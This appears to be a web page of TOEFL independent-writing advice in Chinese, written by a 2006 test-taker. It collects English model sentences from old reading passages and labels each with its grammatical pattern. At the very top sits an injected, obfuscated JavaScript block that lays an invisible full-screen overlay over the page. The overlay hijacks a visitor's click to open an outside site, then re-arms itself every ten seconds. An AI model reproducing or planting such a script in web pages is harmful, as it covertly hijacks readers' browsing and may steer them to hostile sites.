<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>*independent writing, 不在老的TWE的185篇题库中！不过不要紧，只要理由develop的合理，句型词汇使用得当，还是能拿高分的。大家一定要写ETS喜欢的句型，用徐开宏老师介绍的方法，把作文和阅读结合起来准备，我看了老托福的阅读文章，学习ETS是如何处理长短句的，是如何使用从句的，是如何处理倒装的，多看一些，摘录下来，一定有收获的。举些例子：
Precipitated onto the ground, the water trickles down to form brooks, streams, and rivers, constituting what is called the hydrographic network. 前后状语
These new urbanites, already convinced that …, eagerly embraced the progressive reforms that …
过去分词后置定语
A is …. B, by contrast, is …. 连贯
It was to discover a fungicide without that double effect that Brown and Hazen began their long-distance collaboration. 强调句
The stump speech, a political speech given by traveling politicians and lasting 1 to 2 hours, which characterized 19th century political discourse, has given way to …
同位语＋定语从句
Indeed, had it not been for the superb preservation of these fossils, they might well have been classified as dinosaurs. 虚拟语气
Matching the influx of foreign immigrants into the larger cities of the United States during the late nineteenth century was a domestic migration, from town and farm to city, within the United States. 倒装＋同位语
Chief among these artists were A, B, C, and D. 可以用在第一段来统领你要论述的理由
这样的句子太多了，我看了从98.10到2000之前的阅读文章（很快的，基本一个晚上就可以搞定），收集了一些句子，琢磨体会，用到自己的文章中，对行文的多样性是很有帮助的。其实，我作文也就练习过3,4篇，但是，我觉得向高手学习招式，比低水平的重复练习重要多了。
基本就这些了，希望大家都能表现出色。再次感谢加拿大阳光国际学院徐开宏老师的指导。（赖宗澐10.11.2006）
加拿大阳光国际学院
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